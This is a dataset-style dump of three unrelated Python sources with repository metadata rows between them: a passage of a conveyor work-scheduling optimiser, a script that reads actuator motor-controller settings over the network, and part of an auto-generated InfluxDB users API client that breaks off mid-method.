in range(n_group): group_select = i group_size = len(works[group_select*5:(group_select+1)*5]) member_select1 = np.random.randint(group_size) member_select2 = np.random.randint(group_size) swap(candidate_work, candidate_conveyor, group_select*5+member_select1, group_select*5+member_select2) elif mode == 3: for i in range(n_group): group_select = i group_size = len(works[group_select*5:(group_select+1)*5]) member_select1= np.random.randint(group_size+1) if member_select1 != group_size: member_select2 = member_select1-1 if member_select1 != 0 else group_size-1 swap(candidate_work, candidate_conveyor, group_select*5+member_select1, group_select*5+member_select2) candidate_score = cal_conveyor_time(candidate_conveyor) # delta = current_score - candidate_score delta = candidate_score - current_score T = np.log(2)/np.log(2+delta*n) u = np.random.random() if u < np.exp(np.log(2)/T): if n >= MAX_ITER: break else: current_work = np.copy(candidate_work) current_conveyor = np.copy(candidate_conveyor) current_score = candidate_score if best_conveyor_time > current_score: _n_effective += 1 best_iter = _iter best_time = time.time() - start_time best_works = np.copy(current_work) best_conveyor_time = current_score n += 1 performance = best_conveyor_time _time = time.time() - start_time return best_works, [performance, _iter, _time, _n_effective, best_iter, best_time] def grid(works, works_type): works_type_keys = list(works_type.keys()) works_type_list = [work["type"] for work in works] works = np.array([work["time"] for work in works]) n_work, n_process_seq = works.shape conveyor, conveyor_mask = get_conveyor(works) _, n_seq = conveyor.shape best_conveyor_time = cal_conveyor_time(conveyor) best_works = np.copy(works) index = np.arange(n_work) performance = 0 _iter = 0 _time = 0 _n_effective = 0 best_iter = 0 best_time = 0 for wtk in works_type_keys: for i in range(N_PROCESS-1): work_name = [] time_diff = [] for wtk_ in works_type_keys: work_name.append(wtk_) time_diff.append(euclidean(works_type[wtk]["time"][(1+i):], works_type[wtk_]["time"][:-(1+i)])) argsort_wtd = np.argsort(time_diff) for aw in argsort_wtd: works_type[wtk]["sort"][i].append(work_name[aw]) start_time = time.time() for i in range(MAX_ITER): _iter += 1 np.random.shuffle(index) works = works[index] works_type_list = [works_type_list[i_] for i_ in index] works_type_count = [0 for wtk in works_type_keys] for wtl in works_type_list: works_type_count[works_type_keys.index(wtl)] += 1 for j in range(n_work-1): works_type_score = [0 for wtk in works_type_keys] if j == 0: for wtk in works_type_keys: for works_type_sort in works_type[wtk]["sort"]: for k, wts in enumerate(works_type_sort): works_type_score[works_type_keys.index(wts)] += k else: for k in range(j if N_PROCESS-1>j else N_PROCESS-1): for l, wts in enumerate(works_type[works_type_list[j-k-1]]["sort"][k]): works_type_score[works_type_keys.index(wts)] += len(works_type_keys)-(l+1) if j == 0: am = np.argmax(np.array(works_type_count)*np.array(works_type_score)) else: am = np.argmax(np.array(works_type_count)*np.array(works_type_score)) for k in range(j, n_work): if works_type_list[k] == works_type_keys[am]: break works[j], works[k] = works[k], works[j] works_type_list[j], works_type_list[k] = works_type_list[k], works_type_list[j] works_type_count[works_type_keys.index(works_type_list[j])] -= 1 conveyor, _ = get_conveyor(works) tmp_conveyor_time = cal_conveyor_time(conveyor) if best_conveyor_time > tmp_conveyor_time: _n_effective += 1 best_iter = _iter best_time = time.time() - start_time best_conveyor_time = tmp_conveyor_time best_works = np.copy(works) performance = best_conveyor_time _time = time.time() - start_time return best_works, [performance, _iter, _time, _n_effective, best_iter, best_time]

30.247405

107

0.730824

2,676

17,483

4.43423

0.045964

0.093039

0.063374

0.028822

0.889938

0.872661

0.857071

0.830861

0.802966

0.796056

0

0.015426

0.158325

17,483

577

108

30.299827

0.790962

0.065835

0

0.817352

0

0.003482

0

1

0.018265

false

0.004566

0

0.03653

0.004566

0

null

0

1

0

1

0

null

0

7

7dee1dc70ba226b86a2b0d2fcbd05afab1477ed0

5,214

py

Python

restore_config.py

FourierDynamics/FourierDynamics-aios_python_example

dc0b69d72fe6896ceab816f2b9508a1d9c6b25f1

[ "MIT" ]

2

2021-01-09T13:21:00.000Z

2021-05-05T01:30:10.000Z

restore_config.py

FourierDynamics/FourierDynamics-aios_python_example

dc0b69d72fe6896ceab816f2b9508a1d9c6b25f1

[ "MIT" ]

null

restore_config.py

FourierDynamics/FourierDynamics-aios_python_example

dc0b69d72fe6896ceab816f2b9508a1d9c6b25f1

[ "MIT" ]

2

2021-03-19T08:21:06.000Z

2021-06-11T06:01:14.000Z

import aios import time import threading import numpy as np Server_IP_list = ['192.168.5.81'] def main(): Server_IP_list = aios.broadcast_func() if Server_IP_list: # for i in range(len(Server_IP_list)): # aios.passthrough(Server_IP_list[i], "w config.dc_bus_undervoltage_trip_level 10.0\n") # aios.passthrough(Server_IP_list[i], "w config.dc_bus_overvoltage_trip_level 50.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.pre_calibrated 1\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.pole_pairs 7\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.calibration_current 5.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.resistance_calib_max_voltage 3.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.phase_inductance 0.00010607676085783169\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.phase_resistance 0.2877658009529114\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.current_lim 15.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.current_lim_margin 4.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.requested_current_range 30.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.motor.config.current_control_bandwidth 500.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.controller.config.pos_gain 15.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.controller.config.vel_gain 0.00019999999494757503\n") # aios.passthrough(Server_IP_list[i], "w axis1.controller.config.vel_integrator_gain 0.00019999999494757503\n") # aios.passthrough(Server_IP_list[i], "w axis1.controller.config.vel_limit 400000.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.controller.config.vel_limit_tolerance 1.2000000476837158\n") # aios.passthrough(Server_IP_list[i], "w axis1.controller.config.vel_ramp_enable 0\n") # aios.passthrough(Server_IP_list[i], "w axis1.controller.config.vel_ramp_rate 200000.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.encoder.config.cpr 4000\n") # aios.passthrough(Server_IP_list[i], "w axis1.trap_traj.config.vel_limit 200000.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.trap_traj.config.accel_limit 320000.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.trap_traj.config.decel_limit 320000.0\n") # aios.passthrough(Server_IP_list[i], "w axis1.trap_traj.config.A_per_css 0.0\n") # print('\n') for i in range(len(Server_IP_list)): aios.passthrough(Server_IP_list[i], "r config.dc_bus_undervoltage_trip_level\n") aios.passthrough(Server_IP_list[i], "r config.dc_bus_overvoltage_trip_level\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.pre_calibrated\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.pole_pairs\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.calibration_current\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.resistance_calib_max_voltage\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.phase_inductance\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.phase_resistance\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.current_lim\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.current_lim_margin\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.requested_current_range\n") aios.passthrough(Server_IP_list[i], "r axis1.motor.config.current_control_bandwidth\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.control_mode\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.pos_gain\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.vel_gain\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.vel_integrator_gain\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.vel_limit\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.vel_limit_tolerance\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.vel_limit\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.vel_ramp_enable\n") aios.passthrough(Server_IP_list[i], "r axis1.controller.config.vel_ramp_rate\n") aios.passthrough(Server_IP_list[i], "r axis1.encoder.config.cpr\n") aios.passthrough(Server_IP_list[i], "r axis1.trap_traj.config.vel_limit\n") aios.passthrough(Server_IP_list[i], "r axis1.trap_traj.config.accel_limit\n") aios.passthrough(Server_IP_list[i], "r axis1.trap_traj.config.decel_limit\n") aios.passthrough(Server_IP_list[i], "r axis1.trap_traj.config.A_per_css\n") print('\n') if __name__ == '__main__': main()

59.25

123

0.695627

777

5,214

4.401544

0.120978

0.128655

0.192982

0.336257

0.920175

0.882164

0.813158

0.794444

0.783626

0

0.0513

0.173763

5,214

87

124

59.931034

0.742572

0.434983

0

0.052632

0

0.36074

0.335389

0

1

0.026316

false

0.684211

0.105263

0

0.131579

0.026316

0

null

0

1

0

null

0

1

0

9

814f95db6ab9d745cda146f141e688e5dcb1d7d0

41,096

py

Python

influxdb_client/service/users_service.py

mmatl/influxdb-client-python

7461297c153ef1401c861992a8886bee1ec4ce4d

[ "MIT" ]

null

influxdb_client/service/users_service.py

mmatl/influxdb-client-python

7461297c153ef1401c861992a8886bee1ec4ce4d

[ "MIT" ]

null

influxdb_client/service/users_service.py

mmatl/influxdb-client-python

7461297c153ef1401c861992a8886bee1ec4ce4d

[ "MIT" ]

null

# coding: utf-8 """ InfluxDB OSS API Service. The InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501 OpenAPI spec version: 2.0.0 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six class UsersService(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): # noqa: E501,D401,D403 """UsersService - a operation defined in OpenAPI.""" if api_client is None: raise ValueError("Invalid value for `api_client`, must be defined.") self.api_client = api_client def delete_users_id(self, user_id, **kwargs): # noqa: E501,D401,D403 """Delete a user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_users_id(user_id, async_req=True) >>> result = thread.get() :param async_req bool :param str user_id: The ID of the user to delete. (required) :param str zap_trace_span: OpenTracing span context :return: None If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_users_id_with_http_info(user_id, **kwargs) # noqa: E501 else: (data) = self.delete_users_id_with_http_info(user_id, **kwargs) # noqa: E501 return data def delete_users_id_with_http_info(self, user_id, **kwargs): # noqa: E501,D401,D403 """Delete a user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_users_id_with_http_info(user_id, async_req=True) >>> result = thread.get() :param async_req bool :param str user_id: The ID of the user to delete. (required) :param str zap_trace_span: OpenTracing span context :return: None If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['user_id', 'zap_trace_span'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_users_id" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'user_id' is set if ('user_id' not in local_var_params or local_var_params['user_id'] is None): raise ValueError("Missing the required parameter `user_id` when calling `delete_users_id`") # noqa: E501 collection_formats = {} path_params = {} if 'user_id' in local_var_params: path_params['userID'] = local_var_params['user_id'] # noqa: E501 query_params = [] header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/users/{userID}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw) def get_flags(self, **kwargs): # noqa: E501,D401,D403 """Return the feature flags for the currently authenticated user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_flags(async_req=True) >>> result = thread.get() :param async_req bool :param str zap_trace_span: OpenTracing span context :return: dict(str, object) If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_flags_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_flags_with_http_info(**kwargs) # noqa: E501 return data def get_flags_with_http_info(self, **kwargs): # noqa: E501,D401,D403 """Return the feature flags for the currently authenticated user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_flags_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param str zap_trace_span: OpenTracing span context :return: dict(str, object) If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['zap_trace_span'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_flags" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/flags', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='dict(str, object)', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw) def get_me(self, **kwargs): # noqa: E501,D401,D403 """Retrieve the currently authenticated user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_me(async_req=True) >>> result = thread.get() :param async_req bool :param str zap_trace_span: OpenTracing span context :return: UserResponse If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_me_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_me_with_http_info(**kwargs) # noqa: E501 return data def get_me_with_http_info(self, **kwargs): # noqa: E501,D401,D403 """Retrieve the currently authenticated user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_me_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param str zap_trace_span: OpenTracing span context :return: UserResponse If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['zap_trace_span'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_me" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/me', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='UserResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw) def get_users(self, **kwargs): # noqa: E501,D401,D403 """List all users. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_users(async_req=True) >>> result = thread.get() :param async_req bool :param str zap_trace_span: OpenTracing span context :param int offset: :param int limit: :param str after: Resource ID to seek from. Results are not inclusive of this ID. Use `after` instead of `offset`. :param str name: :param str id: :return: Users If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_users_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_users_with_http_info(**kwargs) # noqa: E501 return data def get_users_with_http_info(self, **kwargs): # noqa: E501,D401,D403 """List all users. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_users_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param str zap_trace_span: OpenTracing span context :param int offset: :param int limit: :param str after: Resource ID to seek from. Results are not inclusive of this ID. Use `after` instead of `offset`. :param str name: :param str id: :return: Users If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['zap_trace_span', 'offset', 'limit', 'after', 'name', 'id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_users" % key ) local_var_params[key] = val del local_var_params['kwargs'] if 'offset' in local_var_params and local_var_params['offset'] < 0: # noqa: E501 raise ValueError("Invalid value for parameter `offset` when calling `get_users`, must be a value greater than or equal to `0`") # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] > 100: # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `get_users`, must be a value less than or equal to `100`") # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] < 1: # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `get_users`, must be a value greater than or equal to `1`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'offset' in local_var_params: query_params.append(('offset', local_var_params['offset'])) # noqa: E501 if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'after' in local_var_params: query_params.append(('after', local_var_params['after'])) # noqa: E501 if 'name' in local_var_params: query_params.append(('name', local_var_params['name'])) # noqa: E501 if 'id' in local_var_params: query_params.append(('id', local_var_params['id'])) # noqa: E501 header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/users', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Users', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw) def get_users_id(self, user_id, **kwargs): # noqa: E501,D401,D403 """Retrieve a user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_users_id(user_id, async_req=True) >>> result = thread.get() :param async_req bool :param str user_id: The user ID. (required) :param str zap_trace_span: OpenTracing span context :return: UserResponse If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_users_id_with_http_info(user_id, **kwargs) # noqa: E501 else: (data) = self.get_users_id_with_http_info(user_id, **kwargs) # noqa: E501 return data def get_users_id_with_http_info(self, user_id, **kwargs): # noqa: E501,D401,D403 """Retrieve a user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_users_id_with_http_info(user_id, async_req=True) >>> result = thread.get() :param async_req bool :param str user_id: The user ID. (required) :param str zap_trace_span: OpenTracing span context :return: UserResponse If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['user_id', 'zap_trace_span'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_users_id" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'user_id' is set if ('user_id' not in local_var_params or local_var_params['user_id'] is None): raise ValueError("Missing the required parameter `user_id` when calling `get_users_id`") # noqa: E501 collection_formats = {} path_params = {} if 'user_id' in local_var_params: path_params['userID'] = local_var_params['user_id'] # noqa: E501 query_params = [] header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/users/{userID}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='UserResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw) def patch_users_id(self, user_id, user, **kwargs): # noqa: E501,D401,D403 """Update a user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_users_id(user_id, user, async_req=True) >>> result = thread.get() :param async_req bool :param str user_id: The ID of the user to update. (required) :param User user: User update to apply (required) :param str zap_trace_span: OpenTracing span context :return: UserResponse If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.patch_users_id_with_http_info(user_id, user, **kwargs) # noqa: E501 else: (data) = self.patch_users_id_with_http_info(user_id, user, **kwargs) # noqa: E501 return data def patch_users_id_with_http_info(self, user_id, user, **kwargs): # noqa: E501,D401,D403 """Update a user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_users_id_with_http_info(user_id, user, async_req=True) >>> result = thread.get() :param async_req bool :param str user_id: The ID of the user to update. (required) :param User user: User update to apply (required) :param str zap_trace_span: OpenTracing span context :return: UserResponse If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['user_id', 'user', 'zap_trace_span'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method patch_users_id" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'user_id' is set if ('user_id' not in local_var_params or local_var_params['user_id'] is None): raise ValueError("Missing the required parameter `user_id` when calling `patch_users_id`") # noqa: E501 # verify the required parameter 'user' is set if ('user' not in local_var_params or local_var_params['user'] is None): raise ValueError("Missing the required parameter `user` when calling `patch_users_id`") # noqa: E501 collection_formats = {} path_params = {} if 'user_id' in local_var_params: path_params['userID'] = local_var_params['user_id'] # noqa: E501 query_params = [] header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'user' in local_var_params: body_params = local_var_params['user'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/users/{userID}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='UserResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw) def post_users(self, user, **kwargs): # noqa: E501,D401,D403 """Create a user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.post_users(user, async_req=True) >>> result = thread.get() :param async_req bool :param User user: User to create (required) :param str zap_trace_span: OpenTracing span context :return: UserResponse If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.post_users_with_http_info(user, **kwargs) # noqa: E501 else: (data) = self.post_users_with_http_info(user, **kwargs) # noqa: E501 return data def post_users_with_http_info(self, user, **kwargs): # noqa: E501,D401,D403 """Create a user. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.post_users_with_http_info(user, async_req=True) >>> result = thread.get() :param async_req bool :param User user: User to create (required) :param str zap_trace_span: OpenTracing span context :return: UserResponse If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['user', 'zap_trace_span'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_users" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'user' is set if ('user' not in local_var_params or local_var_params['user'] is None): raise ValueError("Missing the required parameter `user` when calling `post_users`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} if 'zap_trace_span' in local_var_params: header_params['Zap-Trace-Span'] = local_var_params['zap_trace_span'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'user' in local_var_params: body_params = local_var_params['user'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 # urlopen optional setting urlopen_kw = None if 'urlopen_kw' in kwargs: urlopen_kw = kwargs['urlopen_kw'] return self.api_client.call_api( '/api/v2/users', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='UserResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, urlopen_kw=urlopen_kw) def post_users_id_password(self, user_id, password_reset_body, **kwargs): # noqa: E501,D401,D403 """Update a password. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.post_users_id_password(user_id, password_reset_body, async_req=True) >>> result = thread.get() :param async_req bool :param str user_id: The user ID. (required) :param PasswordResetBody password_reset_body: New password (required) :param str zap_trace_span: OpenTracing span context :param str authorization: An auth credential for the Basic scheme :return: None If the method is called asynchronously, returns the request thread. """ # noqa: E501 kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.post_users_id_password_with_http_info(user_id, password_reset_body, **kwargs) # noqa: E501 else: (data) = self.post_users_id_password_with_http_info(user_id, password_reset_body, **kwargs) # noqa: E501 return data def post_users_id_password_with_http_info(self, user_id, password_reset_body, **kwargs): # noqa: E501,D401,D403 """Update a password. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.post_users_id_password_with_http_info(user_id, password_reset_body, async_req=True) >>> result = thread.get() :param async_req bool :param str user_id: The user ID. (required) :param PasswordResetBody password_reset_body: New password (required) :param str zap_trace_span: OpenTracing span context :param str authorization: An auth credential for the Basic scheme :return: None If the method is called asynchronously, returns the request thread. """ # noqa: E501 local_var_params = locals() all_params = ['user_id', 'password_reset_body', 'zap_trace_span', 'authorization'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') all_params.append('urlopen_kw') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_users_id_password" % key ) 